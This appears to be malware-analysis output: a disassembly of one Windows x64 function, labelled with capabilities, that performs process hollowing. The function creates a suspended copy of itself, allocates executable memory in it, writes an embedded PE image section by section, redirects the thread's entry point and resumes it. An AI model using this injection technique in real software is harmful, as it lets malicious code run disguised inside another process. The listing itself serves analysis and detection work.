Function at 0x140001020
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Resume thread
Terminate process
Use process replacement

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
mov eax, 0x1960
call fcn.140002880
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1950], rax
mov rbp, rdx
mov rdi, rcx
lea rdx, [rsp + 0x530]
xor ecx, ecx
mov r8d, 0x208
mov rsi, r9
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x1400011c6
xor edx, edx
lea rcx, [rsp + 0x740]
mov r8d, 0x1208
call sub.VCRUNTIME140.dll_memset
lea rax, [rsp + 0x530]
mov rbx, 0xffffffffffffffff
inc rbx
cmp word [rax + rbx*2], 0
jne 0x140001096
add rbx, rbx
lea rdx, [rsp + 0x530]
mov r8, rbx
lea rcx, [rsp + 0x740]
call sub.VCRUNTIME140.dll_memcpy
mov eax, 0x20
lea r15, [0x140005080]
mov word [rsp + rbx + 0x740], ax
mov rax, qword [rsi]
movsxd rsi, dword [0x1400050bc]
add rsi, r15
mov qword [rsp + rbx + 0x742], rax
cmp dword [rsi], 0x4550
jne 0x1400011c6
mov qword [rsp + 0x48], rdi
lea rdx, [rsp + 0x740]
mov qword [rsp + 0x40], rbp
xor r14d, r14d
mov qword [rsp + 0x38], r14
xor r9d, r9d
mov qword [rsp + 0x30], r14
xor r8d, r8d
mov dword [rsp + 0x28], 4
xor ecx, ecx
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x1400011c6
xor edx, edx
lea rcx, [rsp + 0x60]
mov r8d, 0x4d0
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [rdi + 8]
lea rdx, [rsp + 0x60]
mov dword [rsp + 0x90], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rcx, qword [rdi]
test eax, eax
jne 0x14000116f
mov edx, 0xfffffffc
jmp 0x1400011c0
mov r8d, dword [rsi + 0x50]
mov r9d, 0x3000
mov rdx, qword [rsi + 0x30]
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rcx, qword [rdi]
mov qword [rsp + 0x50], rax
test rax, rax
jne 0x14000119f
mov edx, 0xfffffffb
jmp 0x1400011c0
mov r9d, dword [rsi + 0x54]
mov r8, r15
mov rdx, rax
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400011f2
mov edx, 0xfffffffa
mov rcx, qword [rdi]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, 1
mov rcx, qword [rsp + 0x1950]
xor rcx, rsp
call fcn.1400017b0
mov rbx, qword [rsp + 0x19a0]
add rsp, 0x1960
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
mov rbx, r14
cmp r14w, word [rsi + 6]
jae 0x14000124c
mov rbp, r14
nop
movsxd rcx, dword [0x1400050bc]
add rcx, rbp
mov qword [rsp + 0x20], r14
mov r8d, dword [rcx + r15 + 0x11c]
mov edx, dword [rcx + r15 + 0x114]
add r8, r15
mov r9d, dword [rcx + r15 + 0x118]
add rdx, qword [rsp + 0x50]
mov rcx, qword [rdi]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14000127f
movzx eax, word [rsi + 6]
inc rbx
add rbp, 0x28
cmp rbx, rax
jb 0x140001200
mov rdx, qword [rsp + 0xe8]
lea r8, [rsp + 0x50]
mov rcx, qword [rdi]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140001289
mov edx, 0xfffffff8
jmp 0x1400011bd
mov edx, 0xfffffff9
jmp 0x1400011bd
mov eax, dword [rsi + 0x28]
lea rdx, [rsp + 0x60]
add rax, qword [rsp + 0x50]
mov rcx, qword [rdi + 8]
mov qword [rsp + 0xe0], rax
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x1400012b6
mov edx, 0xfffffff7
jmp 0x1400011bd
mov rcx, qword [rdi + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
test eax, eax
jne 0x1400012ce
mov edx, 0xfffffff6
jmp 0x1400011bd
xor eax, eax
jmp 0x1400011cb